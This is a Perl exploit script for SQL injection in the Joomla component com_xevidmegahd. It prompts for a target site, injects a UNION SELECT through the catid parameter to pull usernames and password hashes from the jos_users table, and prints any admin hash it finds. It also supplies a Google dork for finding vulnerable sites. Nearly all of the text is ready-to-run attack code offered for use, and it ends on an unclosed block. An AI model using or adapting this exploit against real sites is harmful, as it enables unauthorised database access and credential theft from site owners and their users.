Joomla com_xevidmegahd SQL Injection

`#!/usr/bin/perl -w  
  
#Joomla com_xevidmegahd Sql injection#  
########################################  
#[~] Author : EcHoLL  
#[~] www.warezturk.org www.tahribat.com  
#[~] Greetz : Black_label TURK Godlike Nitrous  
#[!] Module_Name: com_xevidmegahd  
#[!] Script_Name: Joomla  
#[!] Google_Dork: inurl:"com_xevidmegahd"  
########################################  
  
system("color FF0000");  
system("Nohacking");  
print "\t\t-------------------------------------------------------------\n\n";  
print "\t\t| Turkish Securtiy Team |\n\n";  
print "\t\t-------------------------------------------------------------\n\n";  
print "\t\t|Joomla Module com_xevidmegahd(catid=)Remote SQL Injection Vuln|\n\n";  
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";  
print "\t\t-------------------------------------------------------------\n\n";  
use LWP::UserAgent;  
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";  
chomp(my $target=<STDIN>);  
$column_name="concat(username,0x3a,password)";  
$table_name="jos_users";  
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";  
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');  
$host = $target . "/index.php?option=com_xevidmegahd&Itemid=99999999&func=viewcategory&catid=1'+UNION+SELECT+".$column_name."+from/**/".$table_name."+--+";  
$res = $b->request(HTTP::Request->new(GET=>$host));  
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){  
print "\n[+] Admin Hash : $1\n\n";  
print "# Tebrikler Exploit Calisti! #\n\n";  
}  
else{print "\n[-] Exploit Bulunamadı...\n";  
  
`